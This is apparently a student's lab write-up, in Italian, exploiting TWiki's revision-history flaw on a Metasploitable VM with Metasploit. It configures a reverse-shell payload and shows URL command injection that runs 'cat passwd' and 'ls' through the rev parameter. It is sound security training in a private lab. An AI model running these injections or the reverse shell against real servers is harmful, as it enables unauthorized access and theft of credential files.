

# ESERCITAZIONE W16D1(2)



**Esercizio**  
Traccia

## Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

Nota: è più difficile dell'esercizio di ieri, se dovessero esserci problemi è consentito "fare l'hacker"

- 1) Avvio msfconsole e cerco l'exploit "exploit/unix/webapp/twiki\_history".

```
msf6 > search twiki

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/webapp/moinmoin_twiki_draw	2012-12-30	manual	Yes	MoinMoin t
1	exploit/unix/http/twiki_debug_plugins	2014-10-09	excellent	Yes	Twiki Debu
2	exploit/unix/webapp/twiki_history	2005-09-14	excellent	Yes	Twiki Hist
3	exploit/unix/webapp/twiki_maketext	2012-12-15	excellent	Yes	Twiki MAKE
4	exploit/unix/webapp/twiki_search	2004-10-01	excellent	Yes	Twiki Sear

```
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use 2
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/twiki_history) >
```

- 2) Configuro l'IP di Metasploitable e di seguito setto il payload "«set payload cmd/unix/reverse»".

```
payload => cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

  Name      Current Setting  Required  Description
  --      -
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.1.40     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  URI        /twiki/bin       yes       Twiki bin directory path
  VHOST      no               no        HTTP server virtual host

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.25     yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/twiki_history) > 
```

3) Faccio partire l'exploit e verifico sulla piattaforma Twiki alcuni comandi.

The first screenshot shows a web browser window with the address bar displaying `192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|cat passwd||echo`. The page title is **Twiki > Main > TWikiUsers (r1.2 |cat passwd||echo)**. The page content shows the source code of the TWikiUsers page, including the `#!/usr/bin/perl -wT` shebang, copyright information, and the `main` function. The command prompt input is visible in the address bar.

The second screenshot shows the same web browser window with the address bar displaying `192.168.1.40/twiki/bin/view/Main/TWikiUsers?rev=2|ls||echo%20`. The page title is **Twiki > Main > TWikiUsers (r1.2 |ls||echo)**. The page content shows the rendered TWikiUsers page, including the `attach changes edit geturl installpasswd mailnotify manage oops passwd preview rdiff register rename save search setlib.cfg statistics testenv upload view viewfile` links. The command prompt input is visible in the address bar.